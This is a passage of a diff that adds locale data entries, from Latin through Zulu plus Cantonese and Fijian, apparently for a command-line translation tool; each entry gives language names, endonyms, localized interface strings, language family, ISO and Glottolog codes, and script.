+Locale["la"]["endonym"]            = "Latina"
+Locale["la"]["translations-of"]    = "Versio de %s"
+Locale["la"]["family"]             = "Indo-European"
+Locale["la"]["iso"]                = "lat"
+Locale["la"]["glotto"]             = "lati1261"
+Locale["la"]["script"]             = "Latn"
+Locale["lv"]["name"]               = "Latvian"
+Locale["lv"]["endonym"]            = "Latviešu"
+Locale["lv"]["translations-of"]    = "%s tulkojumi"
+Locale["lv"]["definitions-of"]     = "%s definīcijas"
+Locale["lv"]["synonyms"]           = "Sinonīmi"
+Locale["lv"]["examples"]           = "Piemēri"
+Locale["lv"]["see-also"]           = "Skatiet arī"
+Locale["lv"]["family"]             = "Indo-European"
+Locale["lv"]["iso"]                = "lav"
+Locale["lv"]["glotto"]             = "latv1249"
+Locale["lv"]["script"]             = "Latn"
+Locale["lt"]["name"]               = "Lithuanian"
+Locale["lt"]["endonym"]            = "Lietuvių"
+Locale["lt"]["translations-of"]    = "„%s“ vertimai"
+Locale["lt"]["definitions-of"]     = "„%s“ apibrėžimai"
+Locale["lt"]["synonyms"]           = "Sinonimai"
+Locale["lt"]["examples"]           = "Pavyzdžiai"
+Locale["lt"]["see-also"]           = "Taip pat žiūrėkite"
+Locale["lt"]["family"]             = "Indo-European"
+Locale["lt"]["iso"]                = "lit"
+Locale["lt"]["glotto"]             = "lith1251"
+Locale["lt"]["script"]             = "Latn"
+Locale["lb"]["name"]               = "Luxembourgish"
+Locale["lb"]["endonym"]            = "Lëtzebuergesch"
+Locale["lb"]["family"]             = "Indo-European"
+Locale["lb"]["iso"]                = "ltz"
+Locale["lb"]["glotto"]             = "luxe1241"
+Locale["lb"]["script"]             = "Latn"
+Locale["mk"]["name"]               = "Macedonian"
+Locale["mk"]["endonym"]            = "Македонски"
+Locale["mk"]["translations-of"]    = "Преводи на %s"
+Locale["mk"]["definitions-of"]     = "Дефиниции на %s"
+Locale["mk"]["synonyms"]           = "Синоними"
+Locale["mk"]["examples"]           = "Примери"
+Locale["mk"]["see-also"]           = "Види и"
+Locale["mk"]["family"]             = "Indo-European"
+Locale["mk"]["iso"]                = "mkd"
+Locale["mk"]["glotto"]             = "mace1250"
+Locale["mk"]["script"]             = "Cyrl"
+Locale["mg"]["name"]               = "Malagasy"
+Locale["mg"]["endonym"]            = "Malagasy"
+Locale["mg"]["translations-of"]    = "Dikan'ny %s"
+Locale["mg"]["definitions-of"]     = "Famaritana ny %s"
+Locale["mg"]["synonyms"]           = "Mitovy hevitra"
+Locale["mg"]["examples"]           = "Ohatra"
+Locale["mg"]["see-also"]           = "Jereo ihany koa"
+Locale["mg"]["family"]             = "Austronesian"
+Locale["mg"]["iso"]                = "mlg"
+Locale["mg"]["glotto"]             = "plat1254"
+Locale["mg"]["script"]             = "Latn"
+Locale["ms"]["name"]               = "Malay"
+Locale["ms"]["endonym"]            = "Bahasa Melayu"
+Locale["ms"]["translations-of"]    = "Terjemahan %s"
+Locale["ms"]["definitions-of"]     = "Takrif %s"
+Locale["ms"]["synonyms"]           = "Sinonim"
+Locale["ms"]["examples"]           = "Contoh"
+Locale["ms"]["see-also"]           = "Lihat juga"
+Locale["ms"]["family"]             = "Austronesian"
+Locale["ms"]["iso"]                = "msa"
+Locale["ms"]["glotto"]             = "stan1306"
+Locale["ms"]["script"]             = "Latn"
+Locale["ml"]["name"]               = "Malayalam"
+Locale["ml"]["endonym"]            = "മലയാളം"
+Locale["ml"]["translations-of"]    = "%s എന്നതിന്റെ വിവർത്തനങ്ങൾ"
+Locale["ml"]["definitions-of"]     = "%s എന്നതിന്റെ നിർവ്വചനങ്ങൾ"
+Locale["ml"]["synonyms"]           = "പര്യായങ്ങള്‍"
+Locale["ml"]["examples"]           = "ഉദാഹരണങ്ങള്‍"
+Locale["ml"]["see-also"]           = "ഇതും കാണുക"
+Locale["ml"]["family"]             = "Dravidian"
+Locale["ml"]["iso"]                = "mal"
+Locale["ml"]["glotto"]             = "mala1464"
+Locale["ml"]["script"]             = "Mlym"
+Locale["mt"]["name"]               = "Maltese"
+Locale["mt"]["endonym"]            = "Malti"
+Locale["mt"]["translations-of"]    = "Traduzzjonijiet ta' %s"
+Locale["mt"]["definitions-of"]     = "Definizzjonijiet ta' %s"
+Locale["mt"]["synonyms"]           = "Sinonimi"
+Locale["mt"]["examples"]           = "Eżempji"
+Locale["mt"]["see-also"]           = "Ara wkoll"
+Locale["mt"]["family"]             = "Afro-Asiatic"
+Locale["mt"]["iso"]                = "mlt"
+Locale["mt"]["glotto"]             = "malt1254"
+Locale["mt"]["script"]             = "Latn"
+Locale["mi"]["name"]               = "Maori"
+Locale["mi"]["endonym"]            = "Māori"
+Locale["mi"]["translations-of"]    = "Ngā whakamāoritanga o %s"
+Locale["mi"]["definitions-of"]     = "Ngā whakamārama o %s"
+Locale["mi"]["synonyms"]           = "Ngā Kupu Taurite"
+Locale["mi"]["examples"]           = "Ngā Tauira:"
+Locale["mi"]["see-also"]           = "Tiro hoki:"
+Locale["mi"]["family"]             = "Austronesian"
+Locale["mi"]["iso"]                = "mri"
+Locale["mi"]["glotto"]             = "maor1246"
+Locale["mi"]["script"]             = "Latn"
+Locale["mr"]["name"]               = "Marathi"
+Locale["mr"]["endonym"]            = "मराठी"
+Locale["mr"]["translations-of"]    = "%s ची भाषांतरे"
+Locale["mr"]["definitions-of"]     = "%s च्या व्याख्या"
+Locale["mr"]["synonyms"]           = "समानार्थी शब्द"
+Locale["mr"]["examples"]           = "उदाहरणे"
+Locale["mr"]["see-also"]           = "हे देखील पहा"
+Locale["mr"]["family"]             = "Indo-European"
+Locale["mr"]["iso"]                = "mar"
+Locale["mr"]["glotto"]             = "mara1378"
+Locale["mr"]["script"]             = "Deva"
+Locale["mn"]["name"]               = "Mongolian"
+Locale["mn"]["endonym"]            = "Монгол"
+Locale["mn"]["translations-of"]    = "%s-н орчуулга"
+Locale["mn"]["definitions-of"]     = "%s үгийн тодорхойлолт"
+Locale["mn"]["synonyms"]           = "Ойролцоо утгатай"
+Locale["mn"]["examples"]           = "Жишээнүүд"
+Locale["mn"]["see-also"]           = "Мөн харах"
+Locale["mn"]["family"]             = "Mongolic"
+Locale["mn"]["iso"]                = "mon"
+Locale["mn"]["glotto"]             = "mong1331"
+Locale["mn"]["script"]             = "Cyrl"
+Locale["my"]["name"]               = "Myanmar"
+Locale["my"]["endonym"]            = "မြန်မာစာ"
+Locale["my"]["translations-of"]    = "%s၏ ဘာသာပြန်ဆိုချက်များ"
+Locale["my"]["definitions-of"]     = "%s၏ အနက်ဖွင့်ဆိုချက်များ"
+Locale["my"]["synonyms"]           = "ကြောင်းတူသံကွဲများ"
+Locale["my"]["examples"]           = "ဥပမာ"
+Locale["my"]["see-also"]           = "ဖော်ပြပါများကိုလဲ ကြည့်ပါ"
+Locale["my"]["family"]             = "Sino-Tibetan"
+Locale["my"]["iso"]                = "mya"
+Locale["my"]["glotto"]             = "nucl1310"
+Locale["my"]["script"]             = "Mymr"
+Locale["ne"]["name"]               = "Nepali"
+Locale["ne"]["endonym"]            = "नेपाली"
+Locale["ne"]["translations-of"]    = "%sका अनुवाद"
+Locale["ne"]["definitions-of"]     = "%sको परिभाषा"
+Locale["ne"]["synonyms"]           = "समानार्थीहरू"
+Locale["ne"]["examples"]           = "उदाहरणहरु"
+Locale["ne"]["see-also"]           = "यो पनि हेर्नुहोस्"
+Locale["ne"]["family"]             = "Indo-European"
+Locale["ne"]["iso"]                = "nep"
+Locale["ne"]["glotto"]             = "nepa1254"
+Locale["ne"]["script"]             = "Deva"
+Locale["no"]["name"]               = "Norwegian"
+Locale["no"]["endonym"]            = "Norsk"
+Locale["no"]["translations-of"]    = "Oversettelser av %s"
+Locale["no"]["definitions-of"]     = "Definisjoner av %s"
+Locale["no"]["synonyms"]           = "Synonymer"
+Locale["no"]["examples"]           = "Eksempler"
+Locale["no"]["see-also"]           = "Se også"
+Locale["no"]["family"]             = "Indo-European"
+Locale["no"]["iso"]                = "nor"
+Locale["no"]["glotto"]             = "norw1258"
+Locale["no"]["script"]             = "Latn"
+Locale["ps"]["name"]               = "Pashto"
+Locale["ps"]["endonym"]            = "پښتو"
+Locale["ps"]["translations-of"]    = "د %sژباړې"
+Locale["ps"]["definitions-of"]     = "د%s تعریفونه"
+Locale["ps"]["synonyms"]           = "مترادف لغتونه"
+Locale["ps"]["examples"]           = "بېلګې"
+Locale["ps"]["see-also"]           = "دا هم ووینئ"
+Locale["ps"]["family"]             = "Indo-European"
+Locale["ps"]["iso"]                = "pus"
+Locale["ps"]["glotto"]             = "pash1269"
+Locale["ps"]["script"]             = "Arab"
+Locale["ps"]["rtl"]                = "true"
+Locale["fa"]["name"]               = "Persian"
+Locale["fa"]["endonym"]            = "فارسی"
+Locale["fa"]["translations-of"]    = "ترجمه‌های %s"
+Locale["fa"]["definitions-of"]     = "تعریف‌های %s"
+Locale["fa"]["synonyms"]           = "مترادف‌ها"
+Locale["fa"]["examples"]           = "مثال‌ها"
+Locale["fa"]["see-also"]           = "همچنین مراجعه کنید به"
+Locale["fa"]["family"]             = "Indo-European"
+Locale["fa"]["iso"]                = "fas"
+Locale["fa"]["glotto"]             = "west2369"
+Locale["fa"]["script"]             = "Arab"
+Locale["fa"]["rtl"]                = "true"
+Locale["pl"]["name"]               = "Polish"
+Locale["pl"]["endonym"]            = "Polski"
+Locale["pl"]["translations-of"]    = "Tłumaczenia %s"
+Locale["pl"]["definitions-of"]     = "%s – definicje"
+Locale["pl"]["synonyms"]           = "Synonimy"
+Locale["pl"]["examples"]           = "Przykłady"
+Locale["pl"]["see-also"]           = "Zobacz też"
+Locale["pl"]["family"]             = "Indo-European"
+Locale["pl"]["iso"]                = "pol"
+Locale["pl"]["glotto"]             = "poli1260"
+Locale["pl"]["script"]             = "Latn"
+Locale["pt"]["name"]               = "Portuguese"
+Locale["pt"]["endonym"]            = "Português"
+Locale["pt"]["translations-of"]    = "Traduções de %s"
+Locale["pt"]["definitions-of"]     = "Definições de %s"
+Locale["pt"]["synonyms"]           = "Sinônimos"
+Locale["pt"]["examples"]           = "Exemplos"
+Locale["pt"]["see-also"]           = "Veja também"
+Locale["pt"]["family"]             = "Indo-European"
+Locale["pt"]["iso"]                = "por"
+Locale["pt"]["glotto"]             = "port1283"
+Locale["pt"]["script"]             = "Latn"
+Locale["pt"]["dictionary"]         = "true"
+Locale["pa"]["name"]               = "Punjabi"
+Locale["pa"]["endonym"]            = "ਪੰਜਾਬੀ"
+Locale["pa"]["translations-of"]    = "ਦੇ ਅਨੁਵਾਦ%s"
+Locale["pa"]["definitions-of"]     = "ਦੀਆਂ ਪਰਿਭਾਸ਼ਾ %s"
+Locale["pa"]["synonyms"]           = "ਸਮਾਨਾਰਥਕ ਸ਼ਬਦ"
+Locale["pa"]["examples"]           = "ਉਦਾਹਰਣਾਂ"
+Locale["pa"]["see-also"]           = "ਇਹ ਵੀ ਵੇਖੋ"
+Locale["pa"]["family"]             = "Indo-European"
+Locale["pa"]["iso"]                = "pan"
+Locale["pa"]["glotto"]             = "panj1256"
+Locale["pa"]["script"]             = "Guru"
+Locale["ro"]["name"]               = "Romanian"
+Locale["ro"]["endonym"]            = "Română"
+Locale["ro"]["translations-of"]    = "Traduceri pentru %s"
+Locale["ro"]["definitions-of"]     = "Definiții pentru %s"
+Locale["ro"]["synonyms"]           = "Sinonime"
+Locale["ro"]["examples"]           = "Exemple"
+Locale["ro"]["see-also"]           = "Vedeți și"
+Locale["ro"]["family"]             = "Indo-European"
+Locale["ro"]["iso"]                = "ron"
+Locale["ro"]["glotto"]             = "roma1327"
+Locale["ro"]["script"]             = "Latn"
+Locale["ru"]["name"]               = "Russian"
+Locale["ru"]["endonym"]            = "Русский"
+Locale["ru"]["translations-of"]    = "%s: варианты перевода"
+Locale["ru"]["definitions-of"]     = "%s – определения"
+Locale["ru"]["synonyms"]           = "Синонимы"
+Locale["ru"]["examples"]           = "Примеры"
+Locale["ru"]["see-also"]           = "Похожие слова"
+Locale["ru"]["family"]             = "Indo-European"
+Locale["ru"]["iso"]                = "rus"
+Locale["ru"]["glotto"]             = "russ1263"
+Locale["ru"]["script"]             = "Cyrl"
+Locale["ru"]["dictionary"]         = "true"
+Locale["sm"]["name"]               = "Samoan"
+Locale["sm"]["endonym"]            = "Gagana Sāmoa"
+Locale["sm"]["family"]             = "Austronesian"
+Locale["sm"]["iso"]                = "smo"
+Locale["sm"]["glotto"]             = "samo1305"
+Locale["sm"]["script"]             = "Latn"
+Locale["gd"]["name"]               = "Scots Gaelic"
+Locale["gd"]["endonym"]            = "Gàidhlig"
+Locale["gd"]["translations-of"]    = "Eadar-theangachadh airson %s"
+Locale["gd"]["definitions-of"]     = "Deifiniseanan airson %s"
+Locale["gd"]["synonyms"]           = "Co-fhaclan"
+Locale["gd"]["examples"]           = "Buill-eisimpleir"
+Locale["gd"]["see-also"]           = "Faic na leanas cuideachd"
+Locale["gd"]["family"]             = "Indo-European"
+Locale["gd"]["iso"]                = "gla"
+Locale["gd"]["glotto"]             = "scot1245"
+Locale["gd"]["script"]             = "Latn"
+Locale["sr-Cyrl"]["name"]          = "Serbian (Cyrillic)"
+Locale["sr-Cyrl"]["endonym"]       = "српски"
+Locale["sr-Cyrl"]["translations-of"] = "Преводи за „%s“"
+Locale["sr-Cyrl"]["definitions-of"]  = "Дефиниције за %s"
+Locale["sr-Cyrl"]["synonyms"]      = "Синоними"
+Locale["sr-Cyrl"]["examples"]      = "Примери"
+Locale["sr-Cyrl"]["see-also"]      = "Погледајте такође"
+Locale["sr-Cyrl"]["family"]        = "Indo-European"
+Locale["sr-Cyrl"]["iso"]           = "srp-Cyrl"
+Locale["sr-Cyrl"]["glotto"]        = "serb1264"
+Locale["sr-Cyrl"]["script"]        = "Cyrl"
+Locale["sr-Latn"]["name"]          = "Serbian (Latin)"
+Locale["sr-Latn"]["endonym"]       = "srpski"
+Locale["sr-Latn"]["translations-of"] = "Prevodi za „%s“"
+Locale["sr-Latn"]["definitions-of"]  = "Definicije za %s"
+Locale["sr-Latn"]["synonyms"]      = "Sinonimi"
+Locale["sr-Latn"]["examples"]      = "Primeri"
+Locale["sr-Latn"]["see-also"]      = "Pogledajte takođe"
+Locale["sr-Latn"]["family"]        = "Indo-European"
+Locale["sr-Latn"]["iso"]           = "srp-Latn"
+Locale["sr-Latn"]["glotto"]        = "serb1264"
+Locale["sr-Latn"]["script"]        = "Latn"
+Locale["st"]["name"]               = "Sesotho"
+Locale["st"]["endonym"]            = "Sesotho"
+Locale["st"]["translations-of"]    = "Liphetolelo tsa %s"
+Locale["st"]["definitions-of"]     = "Meelelo ea %s"
+Locale["st"]["synonyms"]           = "Mantsoe a tšoanang ka moelelo"
+Locale["st"]["examples"]           = "Mehlala"
+Locale["st"]["see-also"]           = "Bona hape"
+Locale["st"]["family"]             = "Atlantic-Congo"
+Locale["st"]["iso"]                = "sot"
+Locale["st"]["glotto"]             = "sout2807"
+Locale["st"]["script"]             = "Latn"
+Locale["sn"]["name"]               = "Shona"
+Locale["sn"]["endonym"]            = "chiShona"
+Locale["sn"]["translations-of"]    = "Shanduro dze %s"
+Locale["sn"]["definitions-of"]     = "Zvinoreva %s"
+Locale["sn"]["synonyms"]           = "Mashoko anoreva zvakafana nemamwe"
+Locale["sn"]["examples"]           = "Mienzaniso"
+Locale["sn"]["see-also"]           = "Onawo"
+Locale["sn"]["family"]             = "Atlantic-Congo"
+Locale["sn"]["iso"]                = "sna"
+Locale["sn"]["glotto"]             = "core1255"
+Locale["sn"]["script"]             = "Latn"
+Locale["sd"]["name"]               = "Sindhi"
+Locale["sd"]["endonym"]            = "سنڌي"
+Locale["sd"]["translations-of"]    = "%s جو ترجمو"
+Locale["sd"]["definitions-of"]     = "%s جون وصفون"
+Locale["sd"]["synonyms"]           = "هم معني"
+Locale["sd"]["examples"]           = "مثالون"
+Locale["sd"]["see-also"]           = "به ڏسو"
+Locale["sd"]["family"]             = "Indo-European"
+Locale["sd"]["iso"]                = "snd"
+Locale["sd"]["glotto"]             = "sind1272"
+Locale["sd"]["script"]             = "Arab"
+Locale["sd"]["rtl"]                = "true"
+Locale["si"]["name"]               = "Sinhala"
+Locale["si"]["endonym"]            = "සිංහල"
+Locale["si"]["translations-of"]    = "%s හි පරිවර්තන"
+Locale["si"]["definitions-of"]     = "%s හි නිර්වචන"
+Locale["si"]["synonyms"]           = "සමානාර්ථ පද"
+Locale["si"]["examples"]           = "උදාහරණ"
+Locale["si"]["see-also"]           = "මෙයත් බලන්න"
+Locale["si"]["family"]             = "Indo-European"
+Locale["si"]["iso"]                = "sin"
+Locale["si"]["glotto"]             = "sinh1246"
+Locale["si"]["script"]             = "Sinh"
+Locale["sk"]["name"]               = "Slovak"
+Locale["sk"]["endonym"]            = "Slovenčina"
+Locale["sk"]["translations-of"]    = "Preklady výrazu: %s"
+Locale["sk"]["definitions-of"]     = "Definície výrazu %s"
+Locale["sk"]["synonyms"]           = "Synonymá"
+Locale["sk"]["examples"]           = "Príklady"
+Locale["sk"]["see-also"]           = "Pozrite tiež"
+Locale["sk"]["family"]             = "Indo-European"
+Locale["sk"]["iso"]                = "slk"
+Locale["sk"]["glotto"]             = "slov1269"
+Locale["sk"]["script"]             = "Latn"
+Locale["sl"]["name"]               = "Slovenian"
+Locale["sl"]["endonym"]            = "Slovenščina"
+Locale["sl"]["translations-of"]    = "Prevodi za %s"
+Locale["sl"]["definitions-of"]     = "Razlage za %s"
+Locale["sl"]["synonyms"]           = "Sopomenke"
+Locale["sl"]["examples"]           = "Primeri"
+Locale["sl"]["see-also"]           = "Glejte tudi"
+Locale["sl"]["family"]             = "Indo-European"
+Locale["sl"]["iso"]                = "slv"
+Locale["sl"]["glotto"]             = "slov1268"
+Locale["sl"]["script"]             = "Latn"
+Locale["so"]["name"]               = "Somali"
+Locale["so"]["endonym"]            = "Soomaali"
+Locale["so"]["translations-of"]    = "Turjumaada %s"
+Locale["so"]["definitions-of"]     = "Qeexitaannada %s"
+Locale["so"]["synonyms"]           = "La micne ah"
+Locale["so"]["examples"]           = "Tusaalooyin"
+Locale["so"]["see-also"]           = "Sidoo kale eeg"
+Locale["so"]["family"]             = "Afro-Asiatic"
+Locale["so"]["iso"]                = "som"
+Locale["so"]["glotto"]             = "soma1255"
+Locale["so"]["script"]             = "Latn"
+Locale["es"]["name"]               = "Spanish"
+Locale["es"]["endonym"]            = "Español"
+Locale["es"]["translations-of"]    = "Traducciones de %s"
+Locale["es"]["definitions-of"]     = "Definiciones de %s"
+Locale["es"]["synonyms"]           = "Sinónimos"
+Locale["es"]["examples"]           = "Ejemplos"
+Locale["es"]["see-also"]           = "Ver también"
+Locale["es"]["family"]             = "Indo-European"
+Locale["es"]["iso"]                = "spa"
+Locale["es"]["glotto"]             = "stan1288"
+Locale["es"]["script"]             = "Latn"
+Locale["es"]["dictionary"]         = "true"
+Locale["su"]["name"]               = "Sundanese"
+Locale["su"]["endonym"]            = "Basa Sunda"
+Locale["su"]["translations-of"]    = "Tarjamahan tina %s"
+Locale["su"]["definitions-of"]     = "Panjelasan tina %s"
+Locale["su"]["synonyms"]           = "Sinonim"
+Locale["su"]["examples"]           = "Conto"
+Locale["su"]["see-also"]           = "Tingali ogé"
+Locale["su"]["family"]             = "Austronesian"
+Locale["su"]["iso"]                = "sun"
+Locale["su"]["glotto"]             = "sund1252"
+Locale["su"]["script"]             = "Latn"
+Locale["sw"]["name"]               = "Swahili"
+Locale["sw"]["endonym"]            = "Kiswahili"
+Locale["sw"]["translations-of"]    = "Tafsiri ya %s"
+Locale["sw"]["definitions-of"]     = "Ufafanuzi wa %s"
+Locale["sw"]["synonyms"]           = "Visawe"
+Locale["sw"]["examples"]           = "Mifano"
+Locale["sw"]["see-also"]           = "Angalia pia"
+Locale["sw"]["family"]             = "Atlantic-Congo"
+Locale["sw"]["iso"]                = "swa"
+Locale["sw"]["glotto"]             = "swah1253"
+Locale["sw"]["script"]             = "Latn"
+Locale["sv"]["name"]               = "Swedish"
+Locale["sv"]["endonym"]            = "Svenska"
+Locale["sv"]["translations-of"]    = "Översättningar av %s"
+Locale["sv"]["definitions-of"]     = "Definitioner av %s"
+Locale["sv"]["synonyms"]           = "Synonymer"
+Locale["sv"]["examples"]           = "Exempel"
+Locale["sv"]["see-also"]           = "Se även"
+Locale["sv"]["family"]             = "Indo-European"
+Locale["sv"]["iso"]                = "swe"
+Locale["sv"]["glotto"]             = "swed1254"
+Locale["sv"]["script"]             = "Latn"
+Locale["tg"]["name"]               = "Tajik"
+Locale["tg"]["endonym"]            = "Тоҷикӣ"
+Locale["tg"]["translations-of"]    = "Тарҷумаҳои %s"
+Locale["tg"]["definitions-of"]     = "Таърифҳои %s"
+Locale["tg"]["synonyms"]           = "Муродифҳо"
+Locale["tg"]["examples"]           = "Намунаҳо:"
+Locale["tg"]["see-also"]           = "Ҳамчунин Бинед"
+Locale["tg"]["family"]             = "Indo-European"
+Locale["tg"]["iso"]                = "tgk"
+Locale["tg"]["glotto"]             = "taji1245"
+Locale["tg"]["script"]             = "Cyrl"
+Locale["ta"]["name"]               = "Tamil"
+Locale["ta"]["endonym"]            = "தமிழ்"
+Locale["ta"]["translations-of"]    = "%s இன் மொழிபெயர்ப்புகள்"
+Locale["ta"]["definitions-of"]     = "%s இன் வரையறைகள்"
+Locale["ta"]["synonyms"]           = "இணைச்சொற்கள்"
+Locale["ta"]["examples"]           = "எடுத்துக்காட்டுகள்"
+Locale["ta"]["see-also"]           = "இதையும் காண்க"
+Locale["ta"]["family"]             = "Dravidian"
+Locale["ta"]["iso"]                = "tam"
+Locale["ta"]["glotto"]             = "tami1289"
+Locale["ta"]["script"]             = "Taml"
+Locale["te"]["name"]               = "Telugu"
+Locale["te"]["endonym"]            = "తెలుగు"
+Locale["te"]["translations-of"]    = "%s యొక్క అనువాదాలు"
+Locale["te"]["definitions-of"]     = "%s యొక్క నిర్వచనాలు"
+Locale["te"]["synonyms"]           = "పర్యాయపదాలు"
+Locale["te"]["examples"]           = "ఉదాహరణలు"
+Locale["te"]["see-also"]           = "వీటిని కూడా చూడండి"
+Locale["te"]["family"]             = "Dravidian"
+Locale["te"]["iso"]                = "tel"
+Locale["te"]["glotto"]             = "telu1262"
+Locale["te"]["script"]             = "Telu"
+Locale["th"]["name"]               = "Thai"
+Locale["th"]["endonym"]            = "ไทย"
+Locale["th"]["translations-of"]    = "คำแปลของ %s"
+Locale["th"]["definitions-of"]     = "คำจำกัดความของ %s"
+Locale["th"]["synonyms"]           = "คำพ้องความหมาย"
+Locale["th"]["examples"]           = "ตัวอย่าง"
+Locale["th"]["see-also"]           = "ดูเพิ่มเติม"
+Locale["th"]["family"]             = "Tai-Kadai"
+Locale["th"]["iso"]                = "tha"
+Locale["th"]["glotto"]             = "thai1261"
+Locale["th"]["script"]             = "Thai"
+Locale["tr"]["name"]               = "Turkish"
+Locale["tr"]["endonym"]            = "Türkçe"
+Locale["tr"]["translations-of"]    = "%s çevirileri"
+Locale["tr"]["definitions-of"]     = "%s için tanımlar"
+Locale["tr"]["synonyms"]           = "Eş anlamlılar"
+Locale["tr"]["examples"]           = "Örnekler"
+Locale["tr"]["see-also"]           = "Ayrıca bkz."
+Locale["tr"]["family"]             = "Turkic"
+Locale["tr"]["iso"]                = "tur"
+Locale["tr"]["glotto"]             = "nucl1301"
+Locale["tr"]["script"]             = "Latn"
+Locale["uk"]["name"]               = "Ukrainian"
+Locale["uk"]["endonym"]            = "Українська"
+Locale["uk"]["translations-of"]    = "Переклади слова або виразу \"%s\""
+Locale["uk"]["definitions-of"]     = "\"%s\" – визначення"
+Locale["uk"]["synonyms"]           = "Синоніми"
+Locale["uk"]["examples"]           = "Приклади"
+Locale["uk"]["see-also"]           = "Дивіться також"
+Locale["uk"]["family"]             = "Indo-European"
+Locale["uk"]["iso"]                = "ukr"
+Locale["uk"]["glotto"]             = "ukra1253"
+Locale["uk"]["script"]             = "Cyrl"
+Locale["ur"]["name"]               = "Urdu"
+Locale["ur"]["endonym"]            = "اُردُو"
+Locale["ur"]["translations-of"]    = "کے ترجمے %s"
+Locale["ur"]["definitions-of"]     = "کی تعریفات %s"
+Locale["ur"]["synonyms"]           = "مترادفات"
+Locale["ur"]["examples"]           = "مثالیں"
+Locale["ur"]["see-also"]           = "نیز دیکھیں"
+Locale["ur"]["family"]             = "Indo-European"
+Locale["ur"]["iso"]                = "urd"
+Locale["ur"]["glotto"]             = "urdu1245"
+Locale["ur"]["script"]             = "Arab"
+Locale["ur"]["rtl"]                = "true"
+Locale["uz"]["name"]               = "Uzbek"
+Locale["uz"]["endonym"]            = "Oʻzbek tili"
+Locale["uz"]["translations-of"]    = "%s: tarjima variantlari"
+Locale["uz"]["definitions-of"]     = "%s – ta’riflar"
+Locale["uz"]["synonyms"]           = "Sinonimlar"
+Locale["uz"]["examples"]           = "Namunalar"
+Locale["uz"]["see-also"]           = "O‘xshash so‘zlar"
+Locale["uz"]["family"]             = "Turkic"
+Locale["uz"]["iso"]                = "uzb"
+Locale["uz"]["glotto"]             = "uzbe1247"
+Locale["uz"]["script"]             = "Latn"
+Locale["vi"]["name"]               = "Vietnamese"
+Locale["vi"]["endonym"]            = "Tiếng Việt"
+Locale["vi"]["translations-of"]    = "Bản dịch của %s"
+Locale["vi"]["definitions-of"]     = "Nghĩa của %s"
+Locale["vi"]["synonyms"]           = "Từ đồng nghĩa"
+Locale["vi"]["examples"]           = "Ví dụ"
+Locale["vi"]["see-also"]           = "Xem thêm"
+Locale["vi"]["family"]             = "Austroasiatic"
+Locale["vi"]["iso"]                = "vie"
+Locale["vi"]["glotto"]             = "viet1252"
+Locale["vi"]["script"]             = "Latn"
+Locale["cy"]["name"]               = "Welsh"
+Locale["cy"]["endonym"]            = "Cymraeg"
+Locale["cy"]["translations-of"]    = "Cyfieithiadau %s"
+Locale["cy"]["definitions-of"]     = "Diffiniadau %s"
+Locale["cy"]["synonyms"]           = "Cyfystyron"
+Locale["cy"]["examples"]           = "Enghreifftiau"
+Locale["cy"]["see-also"]           = "Gweler hefyd"
+Locale["cy"]["family"]             = "Indo-European"
+Locale["cy"]["iso"]                = "cym"
+Locale["cy"]["glotto"]             = "wels1247"
+Locale["cy"]["script"]             = "Latn"
+Locale["fy"]["name"]               = "Frisian"
+Locale["fy"]["endonym"]            = "Frysk"
+Locale["fy"]["translations-of"]    = "Oersettings fan %s"
+Locale["fy"]["definitions-of"]     = "Definysjes fan %s"
+Locale["fy"]["synonyms"]           = "Synonimen"
+Locale["fy"]["examples"]           = "Foarbylden"
+Locale["fy"]["see-also"]           = "Sjoch ek"
+Locale["fy"]["family"]             = "Indo-European"
+Locale["fy"]["iso"]                = "fry"
+Locale["fy"]["glotto"]             = "west2354"
+Locale["fy"]["script"]             = "Latn"
+Locale["xh"]["name"]               = "Xhosa"
+Locale["xh"]["endonym"]            = "isiXhosa"
+Locale["xh"]["translations-of"]    = "Iinguqulelo zika-%s"
+Locale["xh"]["definitions-of"]     = "Iingcaciso zika-%s"
+Locale["xh"]["synonyms"]           = "Izithethantonye"
+Locale["xh"]["examples"]           = "Imizekelo"
+Locale["xh"]["see-also"]           = "Kwakhona bona"
+Locale["xh"]["family"]             = "Atlantic-Congo"
+Locale["xh"]["iso"]                = "xho"
+Locale["xh"]["glotto"]             = "xhos1239"
+Locale["xh"]["script"]             = "Latn"
+Locale["yi"]["name"]               = "Yiddish"
+Locale["yi"]["endonym"]            = "ייִדיש"
+Locale["yi"]["translations-of"]    = "איבערזעצונגען פון %s"
+Locale["yi"]["definitions-of"]     = "דפיניציונען %s"
+Locale["yi"]["synonyms"]           = "סינאָנימען"
+Locale["yi"]["examples"]           = "ביישפילע"
+Locale["yi"]["see-also"]           = "זייען אויך"
+Locale["yi"]["family"]             = "Indo-European"
+Locale["yi"]["iso"]                = "yid"
+Locale["yi"]["glotto"]             = "yidd1255"
+Locale["yi"]["script"]             = "Hebr"
+Locale["yi"]["rtl"]                = "true"
+Locale["yo"]["name"]               = "Yoruba"
+Locale["yo"]["endonym"]            = "Yorùbá"
+Locale["yo"]["translations-of"]    = "Awọn itumọ ti %s"
+Locale["yo"]["definitions-of"]     = "Awọn itumọ ti %s"
+Locale["yo"]["synonyms"]           = "Awọn ọrọ onitumọ"
+Locale["yo"]["examples"]           = "Awọn apẹrẹ"
+Locale["yo"]["see-also"]           = "Tun wo"
+Locale["yo"]["family"]             = "Atlantic-Congo"
+Locale["yo"]["iso"]                = "yor"
+Locale["yo"]["glotto"]             = "yoru1245"
+Locale["yo"]["script"]             = "Latn"
+Locale["zu"]["name"]               = "Zulu"
+Locale["zu"]["endonym"]            = "isiZulu"
+Locale["zu"]["translations-of"]    = "Ukuhumusha i-%s"
+Locale["zu"]["definitions-of"]     = "Izincazelo ze-%s"
+Locale["zu"]["synonyms"]           = "Amagama afanayo"
+Locale["zu"]["examples"]           = "Izibonelo"
+Locale["zu"]["see-also"]           = "Bheka futhi"
+Locale["zu"]["family"]             = "Atlantic-Congo"
+Locale["zu"]["iso"]                = "zul"
+Locale["zu"]["glotto"]             = "zulu1248"
+Locale["zu"]["script"]             = "Latn"
+Locale["yue"]["support"]           = "bing-only"
+Locale["yue"]["name"]              = "Cantonese"
+Locale["yue"]["endonym"]           = "粵語"
+Locale["yue"]["family"]            = "Sino-Tibetan"
+Locale["yue"]["iso"]               = "yue"
+Locale["yue"]["glotto"]            = "cant1236"
+Locale["yue"]["script"]            = "Hant"
+Locale["fj"]["support"]           = "bing-only"
+Locale["fj"]["name"]              = "Fijian"
+Locale["fj"]["endonym"]           = "Vosa Vakaviti"
+Locale["fj"]["family"]            = "Austronesian"
+Locale["fj"]["iso"]               = "fij"
+Locale["fj"]["glotto"]            = "fiji1243"
+Locale["fj"]["script"]            = "Latn"
